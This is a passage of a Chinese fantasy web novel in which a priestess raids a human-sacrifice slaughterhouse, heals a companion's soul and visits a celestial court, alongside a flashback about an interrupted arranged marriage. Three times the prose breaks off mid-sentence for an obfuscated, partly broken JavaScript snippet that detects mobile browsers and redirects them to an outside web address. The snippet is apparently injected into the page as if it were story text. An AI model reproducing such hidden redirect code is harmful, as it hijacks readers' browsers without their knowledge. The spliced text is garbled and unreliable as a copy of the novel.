道路突起了一阵冷风,掀起马车上红布一角,露出白花花的一团。 是白骨吗? 颜笙有所怀疑,便命令士兵拦路扣住了车夫。车夫不肯听命,竟然硬要从健硕的士兵之中突围,立刻抽打两下骏马。 那骏马嘶鸣两声,铆足力气蹬地向前冲。 颜笙一弹指,一道光从指尖流出,击中了马背。 疾驰的骏马瞬息间凝滞,它的前两蹄仍悬在空中,后方马车的车厢倾斜,甩出一团白色的圆滚滚的东西。 颜笙弯腰上前,捡起掉落地上的那团东西。 竟然是一颗头盖骨。 颜笙丢给后方的士兵长,士兵低头看清手中的东西,不由得瞪大眼珠子,赶紧挥手叫待命的士兵去检查马车。 红布完全掀起,车里皑皑骸骨暴露在日光之下,人类的骨头以及牲畜混乱地交错摆放着,散发着难闻的气味。 颜笙觉察这车子上怨气有点重,合目念了几句咒诀。 忽而卷起一阵风,里面的冤魂听到颜笙的感召,从车上走下来,列队向颜笙致谢,随后归入地下。 颜笙朝着那车里的灵魂挥手送别。旁边士兵看不见,倒是被颜笙的举动吓得发抖。士兵长大着胆子便询问:“这样子对军心凝固不利。” 回头一瞧,那些士兵果真皆是一副害怕但不敢外露的模样。 颜笙无奈看着,只好吩咐道:“出来两个人胆大的,护送这些尸首去洛河安葬,其他人跟在我后面进去祭坛。” 后面的士兵一动不动。 16. 解梦(三) 都这么胆小? 颜笙想着晚一点就会有更多的生命消失,并不打算先带领全部部队先去安葬尸首。 她从两仪袋里随意翻出来两块桃木牌,往里面注入些许仙力,并置于掌心:“此物是辟邪桃符,可除一切邪秽,放在家中亦可镇宅兴家。谁要是去的话,这两块给你了。” 大祭司的符咒自然是最奏效的,大家听了有些心动。 众人面面相觑,终有两名士兵出列。 颜笙把两块木牌交给士兵,然后对他们交代完安葬的事宜,看两人走后又指挥盛夏的士兵。 “其余随我,把这屠场掀了。”颜笙收回目光,转身先入暗门。 她走在最前面进入屠宰场,一进门便瞧见土堆的简陋墙壁上满是棕色痕迹,地上淌着有大滩已凝固或者未凝固的血迹,浓重腐烂味道压过新血的腥甜。 这地方臭不可闻,旁边的士兵不由得捂住口鼻。 同时这里光线晦暗,寒气森森。 颜笙刚走进去,便隐约听见阵阵磨刀之声,夹杂着奴隶的惨叫。她释放一点威压,里面的声响戛然而止。 士兵们随后涌入,只见场中所有人动作凝固、僵立原地。颜笙一挥手,下令将屠宰场内的屠户尽数擒拿。散落各处的尸块也被归拢一处,用红布郑重包裹。 一名士兵为颜笙点亮一盏灯,她就在刚解救下奴隶的十字刑架前坐下,按例审问屠户。这才得知,这些人都是在太阴城郊外被捕来的。 颜笙命人将奴隶们依次依次造籍释还,奴隶们排着队走过,她一眼就瞥到熟悉的身影,那人身材极高,在人群中极为瞩目。 那不是陆归年吗? 颜笙招手将人叫到跟前,开口便是几分冷嘲热讽:“九王不是追心上人去了吗?怎么才刚分别,就落到这般田地?” “假装认错,真是拙劣的搭话。” 从后方迈步而出一位年轻男子,挡在陆归年前面。他一双凤眼望向颜笙,目光显然闪过刹那惊讶,但很快敛色缄默。 颜笙打量眼前这人的脸。 面容与卸去伪装的张脆枣如出一辙,眉目间自带一股丰发意气,隽朗得几乎令人移不开目光。 她忽然想起袁思邈之前的提醒,张脆枣是一万三千年前的神灵,怎也会被抓为人牲,顿时疑窦丛生,便问道:“张脆枣,你怎么会在这里?” 男子视线一滞。 “姑娘……是在叫我?”另一道声音从队伍后方传来。一个飞眉赤脸的男子探出头来,“被姑娘这么一叫,闹得我怪不好意思的。” 颜笙见他脸色红得像敷了一层红曲米,低声嘟囔:“就算害羞,脸也不至于红成这样吧?” 那男子手里牵着一头驴,一边揉着驴毛,一边古怪地瞅了颜笙一眼,扯着嗓子嚷嚷:“我这是天生血气方刚。老家还有七八棵枣树都夸我看着气血足……” 陆贺年迅速递去一个眼神,让其噤声。 他很快便猜出这是怎么回事了。颜笙是子颜的转世,而且和后世的他认识。冒用张脆枣的身份,让颜笙误认了身份。 他也不想破坏未来自己的计划,索性将错就错,开口介绍:“这是我十一弟,张豆角。没见过什么世面,还请大祭司不要见怪。” 颜笙把头转向身边的陆归年,忽而觉察他有点不对劲,身子冒着凉气,一副气虚的模样。一探灵魂,发现他只有天魂和人魂 拥有这样特别的灵魂,世间只有一个陆析。 “你怎么会在这里?”颜笙话刚出口,陆析身子突然晃晃悠悠,眼看着就地倒下。幸好陆贺年将他轻轻接住,才不至于倒地。 陆贺年趁机抽走陆析身上的控制咒,随之接话:“这小兄弟说他是为了寻大祭司而来。这一路上不吃不喝也没怎么休息,能撑到这时已经不容易了。” 颜笙搀扶陆析的胳膊,吩咐仆人将在场其他人牲送回收容所,剩余的屠夫等带回去审问。至于“张脆枣”和“张豆角”,她总觉得有些不寻常,于是便将他们买下来,带回府中。 陆析被她安排坐上自己的马车,未料陆贺年却执意要跟上来,嘴上振振有词,说防着颜笙对陆析“图谋不轨”。 颜笙听罢,笑而不语。她能对陆析做什么?倒是…… 她微扬唇角,余光偷觑陆贺年那张俊俏脸庞,不期然想起入画前那晚的旖旎梦境。 未等颜笙收回摇曳的心旌,陆贺年已经硬挤进车厢。颜笙正眼端详了他片刻,嘴角一捺,摆了摆手道:“罢了,随你吧。” 张脆枣见状也要往上挤,嚷嚷要保护“他哥”,还试图把他那头驴也捎上马车。 颜笙扫过他那张粗犷朴实的面孔,顿时收敛笑意,摇了摇头,直接让人把他带下去,只许他骑着小毛驴跟在车队后面。 三个人坐在车里。 陆析仍在昏迷,颜笙把脉发觉他昏迷是由于灵魂波动。 颜笙指腹按住陆析的脉口,指尖流出点点亮光。 陆贺年侧目,盯着她指尖亮起微光,在指尖缠绕难以被凡目所见的丝线,直插入陆析的灵脉,便赶忙捏住她的手腕,阻拦道:“他寻你这么久,你却要害他?” 颜笙看一眼他的手,忽想起那天梦里的他也是这样,握着她的手腕阻挠她继续撩拨,只是力道要轻柔不少。 她模仿着梦中的自己,用力把对方往自己方向拽。 陆贺年虽知颜笙是子颜转世,但毕竟不是现世的那个,便松开了手,与她拉开些距离。 颜笙微笑着看他一眼,也没继续纠缠上去,重新牵引丝线插入陆析的灵脉。 她解释道:“我并非要害,反而在帮他治疗。他的灵魂天生就不大牢固,还丢失了一魂。以前他们门派的长老给他固定过灵魂,今日却松动了。若我不帮绑魂,恐怕剩下的两个魂也要各奔东西。” 陆贺年观察颜笙的施法,她所调动的灵气更是源自桃源境…… 颜笙觉察了陆贺年的视线,不自觉地朝他孔雀开屏:“被神迹惊到了?” “他还没醒。”陆贺年道。 颜笙“哦”了一声,拉过陆贺年的食指,按在陆析的脉搏上,“要不你试试,弄醒他。恐怕……你也不行吧。” 陆贺年抽回自己的手指,试探道:“你飞升后,没有成为神尊的奴仆?” 颜笙抬眼瞥了他一下:“我只替活人办事。” 话落,陆析胸口轻颤,长长吐出一口气,脸色总算泛回血色。 陆贺年想知道未来的子颜究竟如何,旁敲侧击半天,颜笙察觉陆贺年似乎在探她的底细,便跟他打太极。 陆贺年打算换个突破口,聊些轻松的事开场,或许能放松她防备。他突然想起来,她刚在屠宰场说陆归年的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985728|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便问:刚才你说九王去寻一位女子?” 颜笙“哦”了一声,无所谓地说道:“前任大祭司子颜。” 一提到子颜,陆贺年身子僵直,但很快掩住心头的慌乱,故作轻松地问道:“可她不是葬身火海了……” “她没死。似乎是陆归年暗恋她,帮助她死遁后,安置在自己府邸。我也是刚刚知道,这事连摄政王都不知情。”颜笙叹了一口气,“但子颜不喜欢他,马上还要二嫁。他听完了不信,还非要追出去。” 二嫁?陆贺年坐不住了,但他没有颜笙脱壳的本事,在车里如坐针毡。 两个时辰后,马车返回暮雨城。 金乌西沉,夜幕将至,陆析依然沉沉地睡着,陆贺年仍撩着车帘,心不在焉地观景。 颜笙也掀起车帘,偶尔瞥一眼旁边的陆贺年,时而看看风景。 进入暮雨城后,路过陆归年王府。她瞧见宅子的两扇大门紧锁,外面也没有悬挂新的灯笼,地上没有新的辙印。 陆归年竟还没回来。 颜笙拿出铜镜,冲着镜中施法。 镜面变暗而不再反光,镜中浮现点点亮光,像是蜡烛点亮的光辉。在旧时代,蜡烛并非是常见之物,只能是富贵人家才能用上几根。 镜中出现的不一定是当下,而是未来一个月内发生的事。 那画面后方突然出现一对男女。女子穿着玄色与朱色相间的服饰,上面镶嵌着珍奇鸟类的羽毛,这应该是玄鸟族的婚服。 男子穿着修身的玄色长袍,不像是配套的玄鸟婚服。 男子突然靠近女子,女子后缩两步,可后方却是墙壁,男子环住她的去路,捧着她的脸亲吻,气氛极为暧昧。 这是什么情况? 颜笙甩开铜镜,双手捂着脸,掩在下方的脸颊烧得比烛火还热。她回过神,赶紧把铜镜扣过去,压着胸口,连着大喘几口气。 何况她清汤寡水八十一世,和陆归年成亲前也谨守礼数,压抑太久了才会有这种梦。人生最刺激还是在上次的梦里,对象是旁边那个男子。 想到这里时,颜笙偷瞥一眼陆贺年,这侧脸也端正俊美。 她一个寡居女子,会欣赏漂亮美好的事物,似乎也没什么错。再说,只看看也没什么。 颜笙把脸转向旁边,光明正大地看。陆贺年突然转头,两人目光一对上,颜笙又心虚地把目光错开,把头转向另一侧。 陆贺年觉察她的动作,看她脸色愤愤的,便问:“你一路上总时不时看在下,欲言又止的,可是对在下有意见?不妨与在下直说。” “没事。”颜笙草草两字回答。 陆贺年转头看向窗外,他心里清楚,只是明知故问。未来的子颜对他似乎还是有点意思,这让他不由得安下心。 颜笙慢慢低头,把镜子翻过来继续照向自己,那镜中的男女已经消失,镜中只有她自己的倒影。 她回头一想,不对。 那镜子里的男子,脸好像是陆归年? 这么说来,她终究还是…… 被绿了? 想到这里,她低低地笑,微微斜过镜面,看着倒映着的明媚春色—— 这张脸可真够‘造化钟神秀’的。 罢了,她和这里的陆归年本就关系薄,与其为不熟的庸人争风吃醋,不如多看好看的公子来得快活。 17. 解梦(四) 暮色四合,驷车碾过河畔的芦苇,溅起的水花打湿了马车的帷幔,潮湿的凉意侵入车厢。 子颜紧攥着一枚长生金锁,指腹一遍遍摩挲锁面上那枚清晰的柑纹刻印,往事如潮水般涌来。 陆贺年驾崩隔日,她沐浴更衣端坐在镜前,等待着封后的圣旨到来。 忽闻见一股烟熏味,子颜起身看向窗户,见窗纸被照得通明,开窗时,浓重的烟雾扑入屋内。 这时她才知所处的偏殿突然燃起一场大火。 她被困于火海,殿门却被人从外紧锁,无处可逃。 子颜抱起旁边尚在襁褓中的婴儿,蜷缩在墙角。听着婴儿不绝于耳的抽噎声,她料定他们母子在劫难逃。 到那时她才明白,她认真侍奉奉天的神灵不会庇佑他们。 她又想起了曾经背弃的玄鸟神灵,便默默向玄鸟诸神忏悔,祈求他们的原谅,也希望玄鸟神灵能保佑她的橙儿健康。 就在她意识逐渐模糊之际,似乎感觉到有人在拥抱着她。 子颜用力睁开眼睛,身边什么都没有,又有一枚火星子溅到她的手背,使得她不由得哑声苦笑。 恍惚间,远处走来一名瞳色幽黑无光的女仙。她嘴角扬起瓷偶似的标致假笑,附近的火焰被暂时压制。 女仙将她扶起来,放入一口幽深的铜鼎之中,隔绝了外界灼热,又把她怀中婴儿抱走了。 子颜忘记自己在鼎内睡了多久。后来,陆归年匆匆赶来,将她从鼎中救出,又秘密藏入驶往暮雨城的马车。 她这才侥幸捡回一命。 醒来后,她跟着陆归年巡视封地,偶然听见百姓议论,说先王薨逝,登基的是他刚出声的幼子,由其弟陆征年暂时摄政。 荒谬的是,这位幼子被说成是先王和奉天神女感梦所生。更奇怪的是,无人议论大祭司的死。 无论在玄鸟还是奉天,大祭司的地位不比国主低,而新皇登基需要大祭司主持祭典,确认其合法性。大祭司缺席可不是小事。 她打听才知,初阳城没有大祭司的死讯传来。原来那位新官上任的摄政王,找来一位与她容貌无二的江湖术士。在世人眼中,大祭司似乎从未离去。 今年先王祭日,她趁着陆归年离家朝见天子时,躲在其中一辆马车里,趁乱离开王府。 子颜回到太阴城,宫内只有同父异母的兄长子参,他听到子颜回来,立刻出城亲自接她回来。 子参摆了接风宴,听子颜讲述消失这五年间发生的事。 其实子颜在奉天做大祭司时,礼遇和原先在玄鸟时差不多。后来她跟陆贺年发生一场意外后,待遇比之过去更高,在宫中待遇仅在陆贺年之下。 陆贺年死前,留下一道口谕立她为后,但她未料到会因此招来杀身之祸。 子颜说道:“那位先王本质是好的。他有心让玄鸟保留自己的文化,而不是强行融合进奉天,结果被陆征年等人屡次阻挠。” 子参摇摇头,默默喝着酒,看着欲言又止。 子颜说着说着,突然提起来:“这么晚了,母妃呢?” 子颜口中的母亲是她的继母莲江仙,子颜的生母是征战沙场的将军,未到而立之年便因旧伤发作病逝,所以子颜从小就在莲江仙膝下长大。 莲江仙是子参的生母。子参道:“母妃听到你被调包的消息后,一直托关系寻觅你的踪迹,可屡次无功而返。前两天又得到你踪迹的线索,又出去了。” 饮酒多了,脑袋总归有些晕。 子参重重摔下杯子后,嘴也把不住门:“我真不明白了。你可是玄鸟圣女,也是玄鸟真正的继承人。陆贺年剥夺你的身份,强行留你在奉天,他哪里是好人?” “那是为保住我性命。”子颜反驳后,试图向子参解释,“我若被公布是玄鸟继承人,叔父们看我当时幼小,定然会吃绝户。就像陆征年对待奉天新君。” “说起奉天的新君,有桩传言还想问问妹妹。”子参小心地求证,“听闻他也是玄鸟的血脉?” “是有一半血脉。”子颜点头,“这也是我冒险回来的原因。” 莲江仙回来是在三日后的早间。 莲江仙拖着疲惫的身躯回家,习惯性地看向等待他的子参汇报坏消息。今日子参旁边站着位身材高挑的女子,头上戴着面纱。 莲江仙心说这今日迎接她怎么还带着外人,不过这边没什么秘密需要防着外人。她叹了一口气,说道:“还是老样子。又被那叛贼头子搅和了。” 叛贼头子指的是陆贺年,那群反叛玄鸟族的头目,莲江仙和子幽商议国事时候,通常都用这称呼代指。 “母妃。”戴头纱的女子突然开口。 莲江仙斜睨女子,‘谮越’两字刚到嘴边,那女子摘下头纱,露出一张眼熟的面孔。 怎么有点像子颜? 莲江仙冲到子颜面前,握着她的双手,仔细打量一番。 还真是长大后的子颜。 莲江仙紧紧将子颜搂在怀里,带着哭腔喃喃道:“可怜的孩儿,失踪的这三年,一定吃了不少苦……都是母妃的错,找不到你。” 子颜摇摇头,替莲江仙拭泪:“这些年无碍,反倒连累母妃担忧,是孩儿不孝。” 子参凑过来,把子颜告诉他的事,全都复述给莲江仙,本意是想拉莲江仙入伙,却勾得她哭得更梨花带雨。 子参丧着脸,叹息连连,竟自扇一巴掌,“都是兄长没用。守不住父王基业,也护不住妹妹和母妃,让陆家人这般欺凌我们。” 细皮嫩肉的脸上落下狰狞的红手印,仿佛一根针深深刺痛了子颜的眼睛。 子颜憋住泪水,说道:“母妃兄长,若是能将新君的摄政权夺回来,玄鸟也不会就此没落。” 莲江仙其实不想征战,只想偏安一隅,但看子参的模样,好像两个小的连枝同气,似乎早就商量好,只是在她面前走过场。 她没把话说死,委婉表示:“玄鸟的官员多半去了奉天,我们就这一亩三分地,如何能起事,更何况征讨奉天?要不母妃帮你安排再嫁吧,别再掺和奉天的事。” 子颜点头同意:“正好。听闻予奄国主病重,予奄人在附近邦交国寻找女子冲喜。若我嫁过去,定能促成玄鸟和予奄联合,达成反奉天的同盟。” 莲江仙不肯:“颜儿好不容易回来,哪能再去做牺牲?我们娘仨要不就这样相互守着。等你们这一世过完,母妃带你们兄妹投奔百花宫的柔栀仙子。” “可,孩儿咽不下这口气。”子颜态度强硬,“况且陆征年想涤除玄鸟存在过的痕迹。即便母妃想与他们相安无事,他们也不肯。” 子参劝道:“要不我明日宴请陆训年、陆战年和陆捷年,他们三兄弟对陆征年摄政一事向来不满。不如我们联合他们的兵马起义,妹妹也不必远嫁。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990591|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉天开国礼法不全,陆贺年离世前有意复兴玄鸟的礼法,很多人以为他传位自家兄弟。若按兄死弟继的法度,陆训年家中排行第三,该是下任君王。 谁知先王离世前冒出来一个先王幼子,被陆征年保驾到王位。从此以后,陆训年和几位与他交好的兄弟,都与陆征年决裂。 子颜居奉天五年,了解陆家兄弟,便提醒道:“他们三人本身就对领土有野心,兄弟阋墙只因分权不均。若助他们打下来奉天的江山,他们会甘心臣服于玄鸟?” 子参摇头:“不会。” “他们登基后估计也会视我们如眼中刺。”子颜顿了顿,“予奄国主病入膏肓,怕是撑不了多久,且无兄亦无子。等他薨逝时,我再借着‘神谕’继位,再助力兄长。” 车外烈马嘶鸣,打断子颜的思绪。 听着马蹄的声音,似乎是浩浩荡荡的千军万马在朝着送亲队伍靠近。 子颜做过三年大祭司,奉天兵马多少她是清楚的,全部兵马集结也不该会闹出这般动静。 子颜思前想去,想到了过去那些年陆贺年调动的阴兵。她掀起车帘,遥见暮色里驶来浩浩荡荡的兵马。 那些兵马的脸色白得像纸,倒不像是阴兵。陆归年驾着一匹高头骏马走在最前面,弓矢斜挂肩头,箭镞映着残阳。 子颜放下了车帘。 陆贺年不在队伍里。看来这些兵马,恐怕是那个新祭司的手段。 陆归年堵在前路,拦停了送亲的车队。他盯着前方的迎亲队伍,放话道:"车上坐着的,可是奉天大祭司?烦请阁下高抬贵手,将人放下。” 带领予奄车队的将军,驱马向前几步,脸上毫无惧色,沉声道:“阁下莫非贵人多忘事?奉天大祭司,不是昨日回到了暮雨城么?车上的只有玄鸟公主。” 话音未落,迎亲乐声陡然转急,器奏高亢宛若破阵乐。高头骏马闻声,嘶鸣几声,士气顿时高涨,用力蹄踏脚下泥泞,溅起无数泥泞点。 陆归年自鞍侧取下长弓,指节绷紧,扣住弓弣。修长的手指曾不止一次为子颜摘过花,轻轻簪于她的鬓间。 每一次他越界亲近,子颜都未曾闪躲,只含笑说一句:“谢谢。” 所以在他看来,子颜和他是两情相悦的。她对他时而亲近时而疏离,不过是顾虑叔嫂名分,她才有所退畏。 陆归年一挥手,随行兵士纵马自两侧包抄敌方,试图阻挠送亲队伍的前行。 子颜撩帘看了一眼热闹,冷笑着合上帘子。 她从一开始就知道,陆归年是喜欢她的。 在他府中的头一年,他平日里始终唤她一声“嫂嫂”,行为也规规矩矩。第二年时,他喝醉了,却唤她“颜儿”,这才让她猜到真心。 在此之后,他偶尔会做些亲密举动,子颜也不表露出排斥。给他些甜头,叫他继续保持这份“非分之想”,又绝不能容他真正捅破这层纸。 她吊着他的念想,放松他的警惕,这才得以找到机会回到太阴城。 忽地,一道银光探入车厢,刀背挑起车帘。 子颜心口一悬,见来人着予奄军装,但并非是她眼熟的予奄将军,想是予奄小兵趁乱劫人。还未等她惊叫,那士兵已覆手按住她口鼻,欲将她拖出车厢。 嗡—— 一支箭矢破风而至,擦着那人鬓角,砰然钉入车壁。 她勉强侧目,循矢望去—— 18. 解梦(五) 依旧是陆归年。 他才将长弓收回,手腕一转,又一支箭已搭上弓弦。 方才那一箭,并非来自她心中所念之人。可不知为何,子颜竟只掠过一丝极淡的失落,还未等她细辨这情绪的来由—— 又一箭破风而至,精准地钉进一名士兵的手背! 鲜血顿时涌出,士兵痛呼松手,子颜顿觉臂间一松,随即那人已跌落车下。 前方的马匹骤然受惊,扬蹄嘶鸣,马车随之剧烈颠簸。 子颜低头在车厢内踉跄前行,每一步都被晃得东倒西歪。胃里翻江倒海,她强压下恶心,勉力稳住身形。 她缓缓挪出车厢,伸手摸索着马背,飞快纵身跃上马鞍。她双手急扯缰绳,马儿脚步渐缓,喘息也慢慢平复。 马车终于恢复平稳。她这才缓缓吐出一口气,低头望向马下。 陆归年已绕至马前,仰头向她伸手,“嫂嫂,跟我回去。” 子颜瞧着他,心仍急急地跳着,不知是因马乱惊魂未定,还是因他劫亲的举动泛起一丝涟漪。 她拾起马鞭,朝着他手心一抽,冷声喝退:“既唤‘嫂嫂’,为何如此作态?逾矩了。” 陆归年仍不肯退却,掌心的鞭痕渗着血,却仍不收手。他看着子颜,默了片刻,像是酝酿许久才鼓足勇气:“我倾慕嫂嫂已久……” 这是子颜最不愿听到的话。 “别被骗了。”子颜冷漠地瞥向他,又一鞭子抽过去,“我是玄鸟人,天生流着残忍的血液,与你们奉天好人‘不同’。” “我知道。”陆归年低声接道,仍不肯走:“初见那日,我看见嫂嫂拔刀对着颜笙,所以才会出来阻止……” “但我喜欢你。”他继续道。 子颜愣了一下,“那你……” 那你喜欢我什么? 后半句被吹响的号角声掩去。 耳边尽是人与马的嘶吼声,她瞥见予奄武士们暂时被暂时压制住,毕竟两方人马数量差距甚广,多的那方占有绝对优势。 可子颜细细观察着士兵,陆归年带来的士兵似乎怕水。一旦沾了水,皮肤便会像纸一般融化。这根本不是拿来打仗的兵,是用来逃命的兵。 再耗下去,予奄察觉到不对之处,局势便会逆转。 这陆归年是个死心眼,非要带走她,根本不肯走。他在这里多耽搁一刻,都是在消磨自己的命。 子颜平静地看着这愣头青,心说自己被该死的奉天同化了,竟对他产生一丝怜悯。 她一时心软,轻轻地伸手,贴上陆归年的掌心,然后握住他的手腕,用力往身后一拽,将他拉上了马背。 陆归年在马鞍上坐稳,拽着子颜的衣摆。 子颜回身,挥刀砍断马和马车之间连接的绳索,另一手牵着缰绳,勒马前行。 陆归年坐在后方,起先仍有些拘谨,仅拉着她的袍角,后面或许力竭了,便不由得搂着她的腰。 隔着单薄的锦衣,子颜感觉他温热的体温贴在她的背上,惹得她一路上心烦意乱。这时意识到,方才她是冲动了,她联合予奄国的计划功亏一篑。 他们跑了极久的路,大抵有两日。直到停到暮雨城郊外的一处行宫附近,他们才放慢行进的速度。行宫外的有接应的奉天士兵,也朝着他们靠近。 子颜仍坐在马上,回头望向来路。 劫后余生,她对自己的一时仁慈,不由得自我厌恶起来。 陆归年的指尖的薄茧碰到她的手腕。她低头,瞧见陆归年侧立在马下,正扶着马背,她也翻身下马。 可站定之后,她瞧见陆归年面色惨白,嘴唇也失去血色。他的背后不知何时插上一支弓箭,但他这一路上并与告知她。 子颜握住箭身企图拔下箭簇,血液飞溅到她脸颊。陆归年的手下看见,赶忙阻止,说道:“使不得,这若是一拔,五脏六腑都要拔出来。” “好像晚了。”子颜露出无辜的脸,她摊开手掌,上面是一直染血的箭,箭矢甚至粘连着模糊的血肉。 陆归年再难强撑着身体,嘴角吐出鲜血,倒在她怀里。 * 等马车停稳在宅子门口,颜笙走下马车,陆贺年随后下来,目光一直向来时路回望。 张脆枣的那头驴突然挣脱缰绳,直朝着两人跑过来。被陆贺年一瞪,那驴子低下头,退缩到姗姗来迟的张脆枣身后。 陆贺年对颜笙表示:“这头驴的怕是见生了,我和豆角先带他去四处转转,或许回来时能安定下来。” 前面他和张脆枣的互动刚好被颜笙看见了。她在马车时一直盯着陆贺年,下车后眼神自然也不可能放过他。 颜笙却命人来拿来“张脆枣”、“张豆角”的卖身契:“我将你们两个买下了,这驴没有。训不了的驴,不如杀了做阿胶。” 张脆枣抱紧了自己的毛驴,“我能管好,不劳您费心了。” 颜笙道:“那你就带着你的驴去后院的马厩吧。” 张脆枣点头,屁颠屁颠地牵着驴离开。 陆贺年也想跟着走,他心里念着去寻子颜,却被颜笙抬袖阻拦,“驴这么矜贵,要两个人伺候?你且随我走,把陆析抬回厢房。” 陆贺年只好将陆析架在肩膀,扶去颜笙的厢房。刚安放好陆析,便要转身离开。 颜笙再次叫住他:“你是桃源境的仙人?” 陆贺年反问道:“你不也是?” 颜笙点头,“嗯。只不过我不是这世界的仙人。” 陆贺年并不意外她的说辞。早就知道颜笙是子颜的转世。可子颜这样虔诚的祭司,竟也要转世,才能飞升为仙人? “那你来到这世界想要做什么,完成过去未能满足的夙愿?”陆贺年问。 “我被困在这里。”颜笙对他产生没由来的信任,诚恳地回答。接着她又看向陆析,“他也是。我们只有找到一样仙物,才能回到现实。” 陆析的眉头紧皱着,看似在做噩梦。 陆贺年掌心凝出一块令牌,递给颜笙,说道:“这是桃源境的临时令牌,你若要寻仙器,不如直接过去找。” 颜笙接住令牌,仔细端详着。 令牌上面刻着颜字,但不是用普通汉字,而是以象形文字书写,令牌反面刻着玄鸟,和一朵祥云。 颜笙想起后世的令牌只有祥云,便念叨了一句:“和后世的令牌不大一样。” 陆贺年陷入沉思。 颜笙在附近加上了结界,催动法力贴上那块令牌,那块令牌的封印裂开,天界之门近在咫尺。 她把自己雕像立在床边小桌上,又看向旁边陆贺年,却见他早就离开了厢房。 * 颜笙飞升后,便拿着令牌去桃源登记处。 登记处的仙人只有上半截身子,余下的裹在云朵里,看打扮并非是玄鸟族,在后面排队的却都是玄鸟族人。 此仙生前多半是玄鸟城池的守门人。玄鸟的守门人多是俘虏里面精壮的,被削去双腿。这样,在敌人攻城时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997324|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,守门人不至于弃甲而走。 登记处仙人打量她一眼,忽问:“看打扮应该不是玄鸟人?但四肢连接完好,也不像人牲。” 颜笙摇头,“我是奉天的春官。” 登记处的仙人“哦”了一声,冷淡地配给颜笙一块灵石,指了指旁边空地,“奉天的信徒,去显熠宫报道。” 有位贵族领完灵石还没走,闻声凑过来,拉住颜笙的臂弯,对登记处的仙人说道:“你老糊涂了?这人不就是玄鸟的圣女?” “圣女?”仙人们不由分说围过来,簇拥着颜笙去了神尊的大殿,颜笙推拒不得,只好跟随人群过去了。 刚进殿,她殿中央坐着一位方头宽脸的粗犷中年男神仙,足足有颜笙的三倍高,以一种睥睨目光看向她。 颜笙想起了,她之前梦中献舞所在神庙里,供奉着一尊不大像崔巍的神尊像,好像就是这个长相。 在她沉浸在思索时,两臂忽地一痛。两边的天兵上前,将她反手押住,又踹了一脚她的膝盖,迫使她跪在地上。 周围人群纷纷退散。 侍奉在神尊两侧的皆是玄鸟贵冑,他们纷纷看向颜笙。 离神尊最近的位置,站着一位浓眉宽目的高大男子,下巴挂着生着乌黑浓密的胡须,他看到颜笙的脸,愣了一瞬,但随即避开目光。 神尊抬指对着颜笙,两条粗犷的眉毛竖起,大声斥责道:“身为本座的妃嫔,却在本座的神像前与人苟且。” 颜笙愕然,很快联想起春|梦的事。她原本以为那梦境只是对张脆枣见色起意,可听上去这竟是真切发生过的? 这时,神尊身边那位英俊男子却走出来,向神尊见了礼,跪在颜笙前面。 英俊男子道:“神尊息怒。臣的逆女已经知错,之前宫中大火的时候,她已经向所有的神灵忏悔过了。” 神尊道:“真是报应。你放弃玄鸟君位,一心一意侍奉陆贺年,却被他亲弟弟算计。到头来没有名分,被夺了子嗣,还差点葬身火海。罢了罢了,这事一笔勾销。” 英俊男子继续道:“那神尊的意思是,子颜可以回到玄鸟殿?臣打算将逆女带回去亲自管教。” “她?滚去显熠宫吧。要不,去百花宫。”神尊露出不屑的眼神,“其他的事,让陆贺年和百花宫那位难缠的交涉。” 后来神尊又发了话,叫士兵把颜笙从殿内轰了出去。 * 颜笙出来时候,细细琢磨刚才发生的事,似乎这里所有人都把她当成了子颜。 她替子颜遭了罪,但似乎也了解了不少事。比如刚才替她说话的那位英俊男子,似乎是前朝君主子幽,而子颜的身份除去大祭司外,似乎还是神尊的妾室。 而那场春|梦的主角,其实不是她颜笙,而和她容貌一致的子颜。可子颜和张脆枣……张脆枣不是陆贺年的部下吗? 颜笙感觉自己吃到一口惊天大瓜,就此打住了思绪。 走到仙葩苑时,她瞧见一位明眸女花仙,生着一对空洞幽黑的双目,正在花园里拿法术操纵花开花谢。 颜笙看到女花仙的面容,忽而觉得眼熟,好像前不久才见过? 女仙感觉到有人走近,条件反射般地,瞪着明亮浑圆的双目,习惯性假笑。 颜笙见她长相亲近,便搭话道:“仙子,请问显熠殿怎么走?” 柔栀仙子看了一眼颜笙,“显熠殿的主神今日不在。若你愿意的话,可以来百花宫报道。显熠殿全是男子,没什么好去的。” 19. 解梦(六) 更漏将阑,屋内一盏红烛骤然亮起。颜笙回来了,陆析躺在榻上依旧睡得安详。 她回想起方才从柔栀仙子那边听到的事,深深叹气,施法以黑幕布挡住窗外透出的光,便扬手熄灭了烛台。 * 火光再次亮起。 